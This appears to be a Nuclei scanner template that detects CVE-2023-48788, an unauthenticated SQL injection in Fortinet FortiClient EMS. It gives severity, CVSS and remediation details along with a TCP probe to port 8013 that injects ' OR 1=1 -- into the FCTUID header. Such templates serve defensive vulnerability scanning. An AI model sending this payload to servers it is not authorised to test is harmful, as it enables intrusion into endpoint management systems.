id: CVE-2023-48788

info:
  name: Fortinet Forticlient Endpoint Management Server - SQL Injection
  author: James Horseman,ItshMoh
  severity: critical
  description: |
    A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands through specially crafted network packets to the FortiClient Endpoint Management Server, potentially compromising the database, accessing sensitive endpoint data, and executing unauthorized code.
  remediation: |
    Upgrade FortiClient EMS to version 7.2.3 or later for the 7.2.x series, or version 7.0.11 or later for the 7.0.x series.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-48788
    cwe-id: CWE-89
    epss-score: 0.97591
    epss-percentile: 0.99894
    cpe: cpe:2.3:a:fortinet:forticlient_enterprise_management_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fortinet
    product: forticlient_enterprise_management_server
  tags: cve,cve2023,sqli,fortinet,kev,vkev,vuln

tcp:
  - inputs:
      - data: |
          MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1 --{}\n
          IP=127.0.0.1\n
          MAC=00-50-56-11-22-33\n
          FCT_ONNET=0\n
          CAPS=32767\n
          VDOM=default\n
          EC_QUARANTINED=0\n
          SIZE=    {}\n
          \n
          X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMD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X0ZHVENIS1NVTT0wCkVQX1JVTEVDSEtTVU09MApXRl9GSUxFU0NIS1NVTT0wCkVQX0FQUENUUkxDSEtTVU09MAo=\n
          X-FCCK-REGISTER-END
          \r\n
          \r\n
    host:
      - "{{Hostname}}"
    port: 8013

    matchers:
      - type: word
        part: body
        words:
          - "KA_INTERVAL"
# digest: 490a0046304402207b3e5bd3d8cbd950535136d4cb6ba71fb2372dd7e335b9006f780fce15eaae9a022046db4abb3a67be031b165f20a6915c69557e9090160ebb2b7575d5bc61ea6d0a:922c64590222798bb761d5b6d8e72950